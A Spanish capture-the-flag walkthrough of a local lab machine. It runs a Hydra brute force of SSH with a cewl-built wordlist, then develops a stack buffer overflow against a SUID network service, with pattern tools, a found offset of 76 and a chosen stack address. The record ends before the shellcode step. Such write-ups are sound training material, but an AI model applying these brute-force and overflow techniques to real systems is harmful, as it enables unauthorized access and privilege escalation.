CTF Sender Intermediate

URL Download CTF = https://drive.google.com/file/d/1BhCC4I7IJO1Gv7mBTusZDbXl2KfIH1TQ/view?usp=sharing

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip sender.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_mount.sh sender.tar

Info:

___________________¶¶
____________________¶¶__¶_5¶¶
____________5¶5__¶5__¶¶_5¶__¶¶¶5
__________5¶¶¶__¶¶5¶¶¶¶¶5¶¶__5¶¶¶5
_________¶¶¶¶__¶5¶¶¶¶¶¶¶¶¶¶¶__5¶¶¶¶5
_______5¶¶¶¶__¶¶¶¶¶¶¶¶¶¶¶_5¶¶__5¶¶¶¶¶5
______¶¶¶¶¶5_¶¶¶¶¶¶¶¶¶¶¶¶¶5¶¶¶__¶¶¶¶5¶5
_____¶¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_¶¶¶¶¶¶¶5
____¶¶¶¶¶¶¶_¶¶¶5¶¶¶¶5_¶¶¶¶¶5_5¶_¶¶¶¶¶¶¶¶5
___¶¶¶¶¶¶¶¶__5¶¶¶¶¶¶5___5¶¶¶¶__5¶¶¶¶¶¶¶¶¶5
__¶¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶5__5¶¶5_5¶¶¶¶¶¶¶¶¶¶¶
_5¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶¶¶¶¶¶¶¶5
_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶
5¶¶¶¶¶¶¶¶¶¶¶¶5___5¶¶¶¶¶¶¶5__¶¶¶¶5_¶¶¶5_¶¶¶¶
¶¶¶¶¶¶¶¶_¶¶5_5¶5__¶¶¶¶¶¶¶¶¶5_5¶¶¶_5¶¶¶_5¶¶¶5
¶5¶¶¶¶¶5_¶¶_5¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶5_5¶¶_5¶¶¶_¶¶¶5
¶¶¶¶_¶¶__¶__¶¶¶¶¶¶5_5¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶¶_5¶¶¶                    
¶¶¶5_5¶______5¶¶5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶5_¶5¶                                       
5¶¶____5¶¶¶¶5_____5¶¶¶¶¶¶¶5_¶¶¶¶¶5_¶__¶¶_5¶¶                                       
_¶¶__5¶¶¶¶¶¶¶¶¶¶5____5¶¶¶¶¶¶_¶¶¶¶¶_____¶5_¶¶                                       
_¶¶___5¶¶¶¶¶¶¶¶¶__________5¶5_¶¶¶¶¶____¶¶_¶¶                                       
_¶¶_______5¶¶¶¶¶¶5____________¶¶¶¶¶_____¶_¶¶                                       
_5¶5________5¶¶_¶¶¶¶5________5¶¶¶¶¶_______¶¶                                       
__¶¶__________¶___¶¶¶¶¶5___5¶¶¶¶¶¶5_______¶5                                       
__¶¶____________5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶________¶                                        
___¶________________5¶¶¶¶¶¶¶¶5_¶¶                                                  
___¶__________5¶¶¶¶¶¶¶¶5¶¶¶5__5¶5                                                  
_____________________5¶¶¶5____¶5                                                   
                                                                                                                                                                                             
                                           
 ##   ##    ##       ####   ###  ##  #######  ######   ####       ##     ######    #####                                                                                                     
 ##   ##   ####     ##  ##   ##  ##   ##   #   ##  ##   ##       ####     ##  ##  ##   ##                                                                                                    
 ##   ##  ##  ##   ##        ## ##    ## #     ##  ##   ##      ##  ##    ##  ##  #                                                                                                          
 #######  ##  ##   ##        ####     ####     #####    ##      ##  ##    #####    #####                                                                                                     
 ##   ##  ######   ##        ## ##    ## #     ## ##    ##   #  ######    ##  ##       ##                                                                                                    
 ##   ##  ##  ##    ##  ##   ##  ##   ##   #   ##  ##   ##  ##  ##  ##    ##  ##  ##   ##                                                                                                    
 ##   ##  ##  ##     ####   ###  ##  #######  #### ##  #######  ##  ##   ######    #####                                                                                                     
                                                                                                                                                                                             
        v2.0 by d1se0                                                                                                                                                                        
                                                                                                                                                                                             

Estamos desplegando la máquina vulnerable, espere un momento.                      

Creador: d1se0                                                                     

Maquina: sender      

Máquina desplegada, su dirección IP es --> 172.17.0.3    

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-23 06:49 EST
Nmap scan report for 172.17.0.3
Host is up (0.000044s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 66:a8:c9:41:2e:c3:e1:07:64:ed:ee:ae:e6:51:62:47 (ECDSA)
|_  256 8e:0e:15:2f:87:76:09:78:ee:e1:0c:49:18:24:3b:a2 (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Sender - La Herramienta de Conexi\xC3\xB3n Definitiva
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:03 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.54 seconds

Si nos metemos en la pagina veremos una pagina normal y corriente en el que podemos descargar lo que parece ser una herramienta que esta proporcionando el servidor victima, si nos la descargamos dandole al boton y la intentamos ejecutar...

chmod +x sender
./sender

Info:

Uso: ./sender <IP> <PUERTO>

Por lo que vemos necesitamos la IP que seria la de la maquina victima, pero el puerto aparentemente todavia no le sabemos, ya que parece ser que se puede enviar algun tipo de informacion a dicho puerto el cual todavia no sabemos, por lo que seguiremos investigando.

Escalate user alex

cewl

Si investigamos en la pagina vemos 3 posibles usuarios que estan encima del footer que srian los siguientes:

users.txt

juan
marta
alex

Por lo que vamos a crearnos un diccionario de usuarios con esos 3 y vamos a generar un diccionario de contraseñas de las palabras que se puedan encontrar en la pagina web de la siguienet forma:

cewl http://<IP>/ -w dic.txt

Info:

CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

Esto nos habra generado un diccionario de palabras de la pagina web, por lo que ahora utilizaremos hydra para saber si alguno de los usuarios de la lista tuviera alguna contraseña debil.

Hydra

hydra -L users.txt -P dic.txt ssh://<IP> -t 64

Info:

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-23 06:57:18
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 327 login tries (l:3/p:109), ~6 tries per task
[DATA] attacking ssh://172.17.0.3:22/
[22][ssh] host: 172.17.0.3   login: alex   password: emfUa
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-23 06:57:55

Por lo que vemos hemos sacados las credenciales del usuario alex, por lo que nos conectaremos por ssh.

SSH

ssh alex@<IP>

Metemos como contraseña emfUa y estaremos dentro, leeremos la flag del usuario.

user.txt

8d32849a53e71168af4cf5d7d03c8c53

Escalate Privileges

Si listamos los archivos vemos que tenemos un archivo llamado server el cual tiene permisos SUID y si lo ejecutamos veremos lo siguiente:

./server

Info:

Servidor escuchando en el puerto 7777...

Por lo que se ve, esta escuchando por el puerto 7777 por lo que ya tenemos un vector de ataque con el otro archivo que nos descargamos anteriormente llamado sender, probaremos a ejecutar en nuestro host el archivo sender pasandole como puerto el 7777 y ver que recibe el server:

./sender <IP> 7777

Info:

Conectado al servidor en 172.17.0.3:7777
Introduce los datos para enviar: test
Datos enviados: test

Y ahora si nos vamos a donde estaba escuchando el server veremos lo siguiente:

Servidor escuchando en el puerto 7777...
Conexión aceptada de 172.17.0.1:43062
Datos recibidos: test

Procesado: test

Por lo que vemos lo recibe bien, ahora vamos a probar a pasarle muchos caracteres para ver si es vulnerable a un Buffer Overflow:

./sender <IP> 7777

Info:

Conectado al servidor en 172.17.0.3:7777
Introduce los datos para enviar: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Datos enviados: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Y ahora si nos vamos a donde estaba escuchando el server veremos lo siguiente:

Servidor escuchando en el puerto 7777...
Conexión aceptada de 172.17.0.1:35152
Datos recibidos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Procesado: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Segmentation fault

Vemos que si, ya que nos pone Segmentation fault, por lo que vamos a realizar ingenieria inversa sobre el binario server, pero antes si leemos la nota que encontramos en el /opt llamada note.txt veremos lo siguiente:

cat /opt/note.txt

Info:

Alex, we have a problem with the "server" application, several users are reporting to us that it does not work very well when you try to send a message.
very long, cybersecurity people have detected that the "server" application has a vulnerability, correct it right now with "gdb", you have it installed.

Por lo que vemos nos confirma que tenemos gdb en el servidor victima, por lo que podremos abrir el gdb en dicha maquina, pero antes le vamos a pasar una extension para que se nos abra el gdb con pwndbg.

Ingenieria inversa (server)

Instalacion de GDB con PEDA/GDB con pwndbg

Lo que primero tendremos que hacer sera lo siguiente:

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

Y si iniciamos el programa con GDB pasandole como parametro el programa, se nos pondra el gdb-peda...

gdb ./command_exec

Pero si diera error por las versiones, podremos instalar esta otra herramienta que es mas poderosa:

host

git clone https://github.com/pwndbg/pwndbg
zip -r pwndbg.zip pwndbg/
python3 -m http.server

maquina victima

wget http://<IP>:8000/pwndbg.zip
unzip pwndbg.zip

Ahora vamos hacer que el gdb se inicie desde el gdbinit.py

nano ~/.gdbinit

#Dentro del nano
source /home/alex/pwndbg/gdbinit.py

Lo guardamos y si iniciamos gdb veremos lo siguiente:

gdb -q ./server

Info:

pwndbg: loaded 176 pwndbg commands and 40 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from ./server...

This GDB supports auto-downloading debuginfo from the following URLs:
  <https://debuginfod.ubuntu.com>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in ./server)
------- tip of the day (disable with set show-tips off) -------
Use GDB's dprintf command to print all calls to given function. E.g. dprintf malloc, "malloc(%p)\n", (void*)$rdi will print all malloc calls
pwndbg>

Comprobacion de desbordamiento de Buffer

En el host, generamos una cadena de caracteres diseñada para intentar desbordar el buffer de la aplicación. Esto se logra con la herramienta pattern_create.rb:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400

Info:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A

Este patrón se usará como entrada en la aplicación para identificar cómo se maneja el buffer.

Ahora llendonos al GDB tendremos que ejecutar run.

Y en nuestro host con el binario sender tendremos que enviar todos estos caracteres:

./sender <IP> 7777

Info:

Conectado al servidor en 172.17.0.3:7777
Introduce los datos para enviar: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
Datos enviados: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A

Si nos vamos al gdb veremos lo siguiente:

Starting program: /home/alex/server 
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Servidor escuchando en el puerto 7777...
Conexión aceptada de 172.17.0.1:34782
Datos recibidos: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A

Procesado: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A


Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────
 EAX  0x19d
 EBX  0x33634132 ('2Ac3')
 ECX  0
 EDX  0
 EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0
 ESI  0x87de
 EBP  0x41346341 ('Ac4A')
 ESP  0xffffd2e0 ◂— 0x37634136 ('6Ac7')
 EIP  0x63413563 ('c5Ac')
─────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────────────────────────
Invalid address 0x63413563










──────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd2e0 ◂— 0x37634136 ('6Ac7')
01:0004│     0xffffd2e4 ◂— 0x41386341 ('Ac8A')
02:0008│     0xffffd2e8 ◂— 0x64413963 ('c9Ad')
03:000c│     0xffffd2ec ◂— 0x31644130 ('0Ad1')
04:0010│     0xffffd2f0 ◂— 0x41326441 ('Ad2A')
05:0014│     0xffffd2f4 ◂— 0x64413364 ('d3Ad')
06:0018│     0xffffd2f8 ◂— 0x35644134 ('4Ad5')
07:001c│     0xffffd2fc ◂— 0x41366441 ('Ad6A')
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────
 ► 0 0x63413563 None
   1 0x37634136 None
   2 0x41386341 None
   3 0x64413963 None
   4 0x31644130 None
   5 0x41326441 None
   6 0x64413364 None
   7 0x35644134 None
──────────────────────────────────────────────────────────────────────────────

Estamos detectando que lo primero la aplicacion es de 32 bits ya que tiene EIP y que identificamos el EIP con la siguiente direccion de memoria:

0x63413563

Por lo que vamos a identificar su offset.

Identificación del Offset

Para determinar el desplazamiento exacto (offset) donde ocurre la sobrescritura, usamos pattern_offset.rb, proporcionando la dirección en hexadecimal obtenida del EIP:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x63413563

Info:

[*] Exact match at offset 76

Esto indica que el offset es de 76 bytes.

Por lo que vamos a hacerlo un poco mas automatico con python2 y enviar comandos de una sola vez, vamos a ver si realmente se llena de B(42) el EIP de la siguiente forma.

Vamos a poner run en el gdb para que este a la escucha el server y en nuestro host pondremos lo siguiente.

python2 -c 'print b"A"*76 + b"B"*4' | ./sender <IP> 7777

Info:

Conectado al servidor en 172.17.0.3:7777
Introduce los datos para enviar: Datos enviados: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Si ahora nos vamos al gdb veremos lo siguiente:

Starting program: /home/alex/server 
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Servidor escuchando en el puerto 7777...
Conexión aceptada de 172.17.0.1:41490
Datos recibidos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Procesado: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB


Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────
 EAX  0x5d
 EBX  0x41414141 ('AAAA')
 ECX  0
 EDX  0
 EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0
 ESI  0xa212
 EBP  0x41414141 ('AAAA')
 ESP  0xffffd2e0 —▸ 0xffff000a ◂— 0
 EIP  0x42424242 ('BBBB')
─────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────────────────────────
Invalid address 0x42424242










──────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd2e0 —▸ 0xffff000a ◂— 0
01:0004│     0xffffd2e4 —▸ 0xffffd2f4 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB\n'
02:0008│     0xffffd2e8 ◂— 0x200
03:000c│     0xffffd2ec ◂— 0
04:0010│     0xffffd2f0 ◂— 0
05:0014│     0xffffd2f4 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB\n'
... ↓        2 skipped
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────
 ► 0 0x42424242 None
   1 0xffff000a None
──────────────────────────────────────────────────────────────────────────────

Vemos que estamos llenando de forma correcta el EIP, por lo que ahora vamos a llenar lo que haya despues del EIP para determinar alguna direccion de memoria en la que poder inyectarle un shell_code.

Inyección de código en direccion de memoria

python2 -c 'print b"A"*76 + b"B"*4 + b"C"*300' | ./sender <IP> 7777

Info:

Conectado al servidor en 172.17.0.3:7777
Introduce los datos para enviar: Datos enviados: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

Si nos vamos al gdb veremos lo siguiente:

Starting program: /home/alex/server 
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Servidor escuchando en el puerto 7777...
Conexión aceptada de 172.17.0.1:33584
Datos recibidos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

Procesado: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC


Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────
 EAX  0x189
 EBX  0x41414141 ('AAAA')
 ECX  0
 EDX  0
 EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0
 ESI  0x8330
 EBP  0x41414141 ('AAAA')
 ESP  0xffffd2e0 ◂— 0x43434343 ('CCCC')
 EIP  0x42424242 ('BBBB')
─────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────────────────────────
Invalid address 0x42424242










──────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd2e0 ◂— 0x43434343 ('CCCC')
... ↓        7 skipped
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────
 ► 0 0x42424242 None
   1 0x43434343 None
   2 0x43434343 None
   3 0x43434343 None
   4 0x43434343 None
   5 0x43434343 None
   6 0x43434343 None
   7 0x43434343 None
────────────────────────────────────────────────────────────────────────────

Por lo que vemos las C se estan poniendo bien, por lo que ahora vamos a ver cuales son las direcciones de memoria en las cuales se estan inyectando esas C para coger una la cual en vez de inyectarle una C le inyectaremos una shell.

x/300wx $esp

Info:

0xffffd2e0:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd2f0:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd300:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd310:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd320:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd330:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd340:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd350:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd360:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd370:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd380:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd390:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd3a0:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd3b0:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd3c0:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd3d0:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd3e0:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd3f0:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd400:     0x43434343      0x43434343      0x43434343      0x4343000a
0xffffd410:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd420:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd430:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd440:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd450:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd460:     0x43434343      0x43434343      0x43434343      0x43434343

Vemos que alguna de estas direcciones de memoria es en la que vamos a poder inyectar la shell por lo que vamos a elegir una de forma aleatoria que este por el medio, en mi caso elegire la siguiente:

0xffffd3b0

Ahora vamos a crearnos una shell inyectandola en esta direccion de memoria, por lo que nos dara una shell como root ya que el binario esta con permisos SUID y se estaria ejecutando como root.

Vamos a salirnos del gdb e iniciar el binario server de forma normal:

./server

host

